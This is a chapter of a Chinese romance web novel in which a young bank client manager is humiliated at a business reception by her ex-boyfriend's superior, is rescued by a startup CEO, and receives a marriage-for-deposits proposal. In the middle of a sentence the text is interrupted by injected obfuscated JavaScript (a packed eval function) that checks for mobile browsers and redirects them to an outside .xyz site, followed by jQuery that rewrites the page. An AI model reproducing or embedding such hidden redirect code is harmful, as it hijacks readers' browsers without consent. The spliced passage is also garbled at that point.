这一场商务酒会由临城科技集成园区与临城大学校友会联合举办,邀请了不少来自临城学界和商界的精英,其中最为人所敬重的便是临城商会会长荣怀瑾。
向栀从本科时期便听过荣老先生的名字,只因临城大学建校初期商学院的雏形便由荣老先生一手创办。
虽早已不在学界多年,但荣怀瑾的故事却贯穿在临城大学的每一届学子心里,以他名字命名的教学楼、专项奖学金,更是遍布临城各大高校。
其实荣怀瑾先生离开临城大学后,纵横生意场几十年,早已创立了自己的临城实业,旗下数百家关联公司负责运营业务。
荣怀瑾年纪大了,碰上临城这些年经济高速发展,便自然有了高精尖产业的想法。
顺理成章地便有了这次的酒会。
——这也是祝温煦为什么宁愿取消夕会,即便自己不参与,也要派人过来斡旋的原因。
即使只有万分之一或者百万分之一的可能性,一旦拿下荣怀瑾这种人,也就意味着其人脉中的大多数关系能够转化为有效资源。
汪海洋作为老牌客户经理,自然深谙其中的道理。
然而心有余而力不足。
旁边偶尔传来觥筹交错之声,向栀不用细想也知道,欢乐是他们的,这种散发着金钱的活动气氛愈浓重,留给银行客户经理切入营销的机会便愈渺茫。
汪海洋望了望不远处状似优雅的男人,叹了口气。
所以当向栀询问他要不要过去打个招呼的时候,汪海洋的眼神飘忽,甚至往更远处放了放,“多吃点那边的蛋糕吧?”
“那个82年的拉菲也来点。”
向栀:“……………”
高攀不起,还是待会随便拍两张照片向祝温煦交差吧。
一转头的功夫汪海洋便消失了,人只留下一条短信。向栀点开手机,屏幕上显示一行字:
我去接孩子放学你找机会溜吧。
………溜得真够快的。
还没从汪海洋的短信中缓过神来,就发现旁边有个女人忽然离自己很近,回头对视,发现对方不仅没有躲闪,反而似乎还有贴上脸的趋势。
向栀眨了眨眼睛。
没想到身边的人开口了:“欸?你是不是……?”
“向经理!我刚刚从侧面看有个女生好漂亮好像你,”女生看起来和向栀年纪相仿,“但你没穿制服我有点没认出来,没想到居然真的是你欸。”
中湖支行的理财经理宋吟。
和江淮南是一个支行,她今天和向栀一样没穿制服,所以向栀也没认出来。
宋吟话里透着几分热情:“自从新人培训后好久没见了,我听说最近又有几个人辞职了,你最近怎么样?”
向栀听出话里的几分客套,敷衍地点了点头,“挺好的。”
”还真是巧啊,”宋吟挽起向栀的胳膊,“本来林行长说就带我一个人来,我还挺高兴的,她头一次带我跑客户呢,说是有很多临城大学科创平台的高层次人才,平时她都只带江经理,说我不够成熟。”
“说到江经理…”,宋吟的口中又多了几分小心翼翼,声音小了几分,“你们…现在还是男女朋友吗?其实,当时有人看见你们一起吃饭,培训的时候不少人都看出来了。”
天旗素来有同一行部禁止恋爱的传统。
虽然大家都看出来了,但看当事人似乎不想公开,也就都默契地没有吱声。
宋吟:“那会儿也没人敢说,不过现在好了,基本上大家也都离职啦。现在工作压力大得很,没人在关注这些事情了。“
“你们感情应该挺好吧?“
“我们分手了。”向栀毫不避讳,像谈论着一日三餐一般自然,“反正他今天也不在,你不用替我遮掩。”
话音刚落,宋吟的指尖微颤,眼神朝着礼宾台的位置望了一眼。
向栀自然顺着她的眼神望过去。
有时候真想撕烂自己的嘴。
————还真是巧呢。
江淮南跟在林满春的身后,和来宾一一握手,有了林满春行长的这一层身份,不少企业主对江淮南都较为客气,向栀时不时地能看见那些人掏出手机来,和江淮南互留联系方式。
两人将整个酒会不同情绪不同需求的人群不着痕迹地连接、调和起来。
向栀回头,柔声问宋吟道:”你怎么一个人?不跟着他们吗?”
“嘘。”宋吟小声道,“我们行长往这边看呢。”
只是无人注意的间隙,林满春抬起头,宋吟朝那边挥了挥手,但她的目光还是一眼定在了向栀的身上。
向栀:“…………”
气氛一时间陷入了尴尬的冰点。
-
酒会开始,会场的灯光渐次调暗。
江淮南跟在林满春的身后慢慢移动,台上的调酒师依次奉上特调红酒,江淮南则在林满春的带领下伺机营销建立人脉。
荣怀瑾就站在这廊道的尽头休息,大家的注意力也基本被台上表演的人所吸引,身边只站了一位年轻的助理。
林满春见时机已到,便提起裙摆,示意江淮南过去与之寒暄。
江淮南起身,穿过舞台的间隙,一边有礼貌地说着借过,却还是不小心踩到了有人掉在地上的蛋糕,趔趄了一下。
刚想对扶起他的人表示感谢,看到向栀时愣了一下。
…她怎么会出现在这里?
就在他神色微妙之时,林满春瞪了他一眼,江淮南只好伸出左手,轻轻地挽住了林满春的胳膊,两人走到荣怀瑾的跟前。
“荣会长,这是我手下的客户经理,”林满春说道,“也是临大优秀毕业生,说起来也在我手下干活有两年了。”
“欸,小朋友稚嫩得很,还需要您多多提点啊。”
果然,荣怀瑾眯了眯眼,目光从江淮南身上淡淡扫过。
三分钟的寒暄单调且乏味,江淮南这人虽规矩,又实在无聊,实在没给荣怀瑾留下什么深刻印象。
五分钟后,酒会结束,晚餐正式开始。
王嘉珩一手插着兜姗姗来迟,一副没睡醒的模样。还没走到荣怀瑾的身边,就被荣怀瑾一手揽住肩膀。
“逆子,这么晚才来?”荣怀瑾示意侍者添酒,”过来和我好好喝一杯。“
“什么话,我就是来蹭饭的,好饭不怕晚,再说了,见您还嫌晚?”
“…………”
角落里,没人注意到江淮南把手里的高脚杯攥得发紫。
-
酒会结束,众人被安排到宴会厅统一就餐。
向栀本想提前开溜,没想席间有男生通过宋吟向她搭讪,又说大家都是临大校友,便只好坐了下来。
陆续有人开始起哄,搭讪男生说自己是临城日报的记者,虽然比不上晚宴上的各界名流,收入倒也算是稳定客观。
几个围观群众眼观鼻鼻观心地发现知名记者的脸上泛出了不明红晕,便也都乐得撺掇起来。
“加个微信嘛美女?”
“我就在附近的报社工作,马上升副主编了。”
男人掏出手机,滴的一声确认了屏幕上的联系方式,看到是工作微信的时候瞬间变了脸色。
“这就不够意思啦,向经理?”
“不好意思啊,我结婚了。”
敷衍的借口似乎并不能打消吃瓜群众的欲望,男生将信将疑地盯着向栀看了一会儿,又转头看向一旁的宋吟,“真的假的?”
宋吟知趣地点点头。
“真的,你别这样,她老公会不开心的。”
-
正准备掏出手机加微信的男同学扫兴而归,江淮南注意到这边的动静,手微微地颤了一下,和旁边的人碰杯,然后一饮而尽。
下一桌便是向栀那桌了。
江淮南本以为林满春会有意避开向栀那桌,但他忽视了一点,林满春这种女人四十岁了,职场里的弯弯绕绕早已烂熟于心,和以前上司的离了婚的原配夫人都能坐一桌安然打牌,到底什么没见过?
一个初出茅庐的小丫头,还不至于她绕开。
江淮南一抬头,看见林满春正和一位男记者交谈,时而倾听,时而颔首,又抛出几句精妙的点评,使人会心一笑。
而向栀靠在椅背上,面无表情地玩着手机。
林满春和一大桌子的人陆续碰杯,却唯独没有走过去与向栀碰杯的意思。这一桌子的人也平时素未谋面,也不知道桌子底下暗藏着什么汹涌。
江淮南有些看不下去了,起身,主动招呼向栀,就在两人杯子相碰的一刹那,林满春从宋吟手中接过红酒,给向栀满上了。
“这不是我们临大的校花吗?淮南,碰个杯啊?那不得给点面子?”
“………”
话音一落,桌上的男男女女都朝着向栀看过去。
什么情况?
连江淮南看傻了眼。
林满春轻轻调整了一下高跟鞋的重心,笑意盈盈道:“海归美女,天旗新人培训时候我早有耳闻,你们祝行长一直夸你能干呢,没想到今天在这遇见了?”
不过逢场作戏,向栀的脸色还是暗了下来。
“你说你们祝行长也真是的,怎么跑到我的场子里来营销客户呢?”
“……………”
看似说的是祝温煦,实际点她呢。
“林行长见笑了,”向栀捏了捏手中的高脚杯,指尖泛白,嘴角划出一个弧度,“蹭饭而已,协办哪里敢。”
“欸呀,”林满春捂着嘴笑了笑,“这样就不好了嘛?下次碰到老祝我可要和他说说,让他结一下今天的饭钱,你说是不是?”
本就不大的酒桌一阵哄笑,随之陷入沉默。
“好啦。”林满春抿着嘴,作势上前就要拉住向栀的手,“你刚刚说你要结婚啦?也不知道是什么男人这么幸运,该不会又是哪位富二代客户吧?”
“…………”
这个‘又’字,就挺灵性。
林满春毕竟还有一层领导的身份在,虽然不是同一个网点,还试图保留一些对上级的尊敬。
向栀“嗯”了声。
说完,顺势拎起了包,却不想被林满春亲昵地抓住了手腕。
“下次办活动要来,提前跟我打个招呼。“
林满春贴着她的脸道,“我办这场活动,不是为了让什么苍蝇蚊子都混进来的。”
“……………”
沉默,唯有沉默。
宋吟吓得脸色发白,不知道发生了什么。
毕竟她还在林满春手底下讨生活,本来支行之间同事本就是竞争关系,但大家平时抬头不见低头见,也不知道林满春对向栀哪来那么大敌意。
江淮南突然开了口。
“林行长今天喝的有点多,开玩笑呢。”
林满春也不说什么,还拍了拍向栀的肩膀,“对呀,我是有点喝多了,对不起啊小向,别在意我开玩笑呢。”
而向栀也不生气,只是拿起桌上的纸巾递到林满春的面前:“您喝多了,喝完记得擦擦嘴,要不然——”
“费劲心思也只吃到半扇猪头肉,我也会替您不值。”
“……………”
这话说出来,谁还体会不到这两人之间剑拔弩张的气氛!
只是吃瓜的群众都摇晃着酒杯,以为向栀口中的‘猪头肉’意有所指,没人往江淮南这个人身上联想。
只是林满春还是死死地盯着向栀,有种不解气的感觉,碍于这场酒会的来宾非富即贵,还维持着最后一丝残存的体面。
“碰个杯吧,”江淮南出口道,“大家都是同事。”
也是此刻,向栀抬头,便看见了从归贵宾厅往外走的王嘉珩。
想到那句‘存钱送客户经理吗’的玩笑,感觉瞬间有火花在胸腔内跳动,嘴比手更先行动。
“老公——”
“你等等我。”
王嘉珩停住脚步,听见不远处的女人喊着‘老公’。正纳闷谁在这种公开场合飚演技,却看见向栀的那一刻,眼前一黑。
然后径直走了过来。
向栀也识趣,赶忙也抓住了他的手,顺势往外走。
连肖复都吃了一惊。
两人的动作一气呵成,行云流水,默契得就如同结婚几十年的老夫老妻,竟然谁也没多说一句话,看得在场的吃瓜群众无一些目瞪口呆。
人群中间不知是谁,认出了王嘉珩本人。
“那不是PIONEER的董事长吗?”
“前两天还刷到他的新闻,传闻他年纪轻轻就结婚了,什么夜会美女…”人群中不知是谁点开了那条论坛新闻,迅速将两人的背影对号入座。
“难道旁边就是照片里的其中之一…那个平常不抛头露面的老婆吗?“
”就是啊,花边新闻那么多,居然两人还在一起?”
两人在众人的目光中渐渐走远。
“怎么可能,”林满春虽然不认识王嘉珩,瞟了一眼身边的江淮南,淡定道:“开什么玩笑?”
-
向栀几乎是用尽全身的力气才走出礼堂的。
那一段十分钟不到的路似乎被拉得很长,脚下的地毯似乎承托不住高跟鞋的重量,往外走出来的每一步都显得虚浮无力。
还好再长的路也有尽头。
而旁边有人,刚刚被林满春围攻的心情顺畅了不少,甚至还多了一份安心的感觉。
她没有再回头,只是把手从王嘉珩的手腕中抽出来。
既然从那个鬼地方出来了,也就解脱了。
虽然她和王嘉珩认识的时间不长,但印象里他还算个好人。
这段时间不论是工作也好生活也罢,他或直接间接地也都帮了她不少忙。向栀也不是那种没心没肺的人,至少他刚刚也帮她解围了不是吗。
没等她开口说谢谢,王嘉珩先出了声。
“你来这做什么?”
向栀老实答:“营销客户。”
看王嘉珩的神色,他明显不信。
他轻嗤了一声,然后往停车场的方向走去。
向栀:“…………”
刚刚的乐于助人的人设又去哪了?
不过向栀也不在意他信不信,她满脑子都是今晚的这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363266|183793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些倒霉事,说明今天流年不利,就不该加班,只想赶紧打个车离开这个是非之地。
她拿出手机边准备打车,屏幕上却冷不丁地弹出了几条消息。
【汪海洋】:徒弟!!
【汪海洋】:我刚刚接完儿子,好像刚在超市碰到祝温煦了。
【汪海洋】:待会儿要是领导打电话过来你就说我来了,可千万别露馅儿啊徒弟。
她说什么来着?
今天确实不该加班。
向栀低垂着脑袋坐在花圃旁等车,鞋跟轻敲在大理石上发出轻响。晚上风还挺大,向栀便站在风里思忖着网约车什么时候到。
而王嘉珩就在这时候把车开到了面前。
“……我打车了。”
车窗瞬间下降,王嘉珩看着她。
车窗外的灯光洒在他的脸上,平日里那双漆黑的瞳孔不见了,夜色把他的眸色衬得像一块浅浅的琥珀。
有几分温柔的味道,让人不忍拒绝。
“天气不好,上来吧。”
他的声音好像有某种魔力,明明不容置喙,却又透露出一种替她考虑的意思。
下一秒,雨点夹杂着雷声,一瞬间砸下来。
“……哦。”
王嘉珩问:“去哪里?”
向栀说了比华利山庄,车便开了出去。
席间,两人便不再说话。向栀盯着手机把网约车取消,王嘉珩也直视前方,不知道在思考什么。
直到向栀的肚子发出了‘咕——’的抗议。
向栀转过头去看他,发现对方还在开车,应该是没听见那一声响,便也不再说话。
车缓缓行驶到一个红绿灯口。
王嘉珩回头,随即从中控台里拿掏了一块小蛋糕递给她,放在掌心。
向栀把那个红白格包装的蛋糕捏在手里,包装上一行细腻的英文斜体分外鲜明,在灰蒙蒙的夜色中闪闪发亮。
“.........”
她握着手中的小蛋糕,出了一会儿神。
这是她留学时候最爱买的零食,一些很久没浮现在脑子里的回忆突然像气泡水一样涌入脑海。
包括一个人。
-
“舍不得吃?”
直到王嘉珩的声音一秒把她拉回了现实。
——那倒也没有。
向栀从这句话中幡然醒悟,无论如何也不能把脑海里那个清瘦的男生与眼前的人对应起来。
不过王嘉珩倒是先开了口。
“那位是你前男友?”
“………”
有时候沉默比承认来得更加确定。
“那你前男友,”王嘉珩看手机,轻笑道,“还真是不想努力了啊。”
向栀昂起头,“哪有前男友。”
“那哪有前男友…”王嘉珩复述了一遍她的话,玩味地看着向栀,嘴角挑着笑,“但有老公?”
向栀:“………”
“以后别随便喊人老公。”
“…………哦。"
向栀觉得好笑。
她想问一句‘那你是别人吗’,但是理智又说服了她。
她觉得王嘉珩会直接说自己不是人。
-
暴雨如注,车窗外的雨幕在路灯光的晕染下连成橘色的河流。
车在一处十字路口前停下,等待红灯。
王嘉珩看见旁边的人已经睡着了,头微微地歪向一侧,几缕散落的发丝贴在脸颊,随着平稳的呼吸轻轻起伏。
平日里那些带着目的性的、或灵动或狡黠的光彩,此刻悉数敛去,只剩下一片毫无防备的宁静。
她还真是变了很多。
想到这,他慢慢地伸出手,从后座拿出披肩缓缓盖在她的身上。
她睡得很沉,鼻息轻匀。
不知梦到了什么,眉毛轻蹙起来,嘴里似乎还呢喃着什么。
王嘉珩侧过身子,想要听清楚向栀说的什么。
“三千万,小意思。”
“存款新增刚破0。”
“三千万你把我卖了算了,充其量也能凑个尾数我说真的。”说完这句话,向栀的手甚至往里拽了拽,轻易就攀住了他的胳膊。
“…………………”
柔和的银辉也随着晃动起来,无声地流淌过她的面颊、脖颈,再缓缓滑入锁骨微凹的浅窝。
他轻叹了口气,思绪回到晚宴之前。
下午替董佳怡去银行办理完业务后,王嘉珩便回头参加了董事会决议。
其实PIONEER内部对于最新一轮的融资议程早已通过,只是PIONEER作为智能烹饪机器人这一创新赛道的领投企业,在行业洞察以及专业的软硬件工程实力上遥遥领先,很难不遭到对手行业的唱衰。
公司硬实力没得黑,便也有对手买通媒体发王嘉珩的黑稿。
这种情况下,便传出了他‘已婚’‘单身’‘离异单身’等多个版本的造谣稿,对方也清楚王嘉珩这段时间全力忙于融资,并没有时间把心思放在起诉名誉权上。
这会儿他点开手机,肖复又发了条语音过来。
“董事长,刚刚在酒会上不太好说,但是你得长点心啊?——这轮融资还没开始,对家都盯着呢,今天LC资本又发函过来了,还不知道有没有人拍下来放网上又编一套新的故事,好歹注意点儿影响。”
他自从创业就跟在王嘉珩身边,难免有些老妈子心态上身。
王嘉珩打字:“我知道了。”
“我知道你不介意,”肖复又回复道,“不过我刚刚酒会上碰到临城日报的记者了,要不公司明天安排一个采访,直接发文澄清一下怎么样?”
【王嘉珩】:澄清什么?
【肖复】:……您不是单身吗?
【王嘉珩】:所以需要澄清什么?
【肖复】:。
-
又不知过了多久,车在比华利山庄前缓缓停下。
向栀迷迷糊糊地醒来,身上的外套掉在脚边。
脖子还有些发酸,她轻轻地揉了揉,又捡起脚边的外套,向一旁的人投去感谢的目光。
“………”
王嘉珩:“睡醒了吗?”
“问个问题。”
向栀点了点头。
“你在银行…每天都要拉存款?”
向栀晃了晃脑袋,猛地抬起下巴:“…对啊。”
其实也不全是拉存款,还有贷款,催收不良,办etc,个人养老金,有时候进社区送送温暖送点米面油。
王嘉珩:“还差3000万?”
“嗯?”她随即回过神来,他怎么知道的?
多日来的坚持不懈的营销莫非真的起了点效果——
向栀眨了眨眼睛。
“我有个想法。”
王嘉珩突然开口来了这么一句。
“你需要存款,我需要夫人。”
正想问他什么意思时,又听到王嘉珩说道。
“我帮你存3000万。”
“你和我结婚?”
向栀:“……”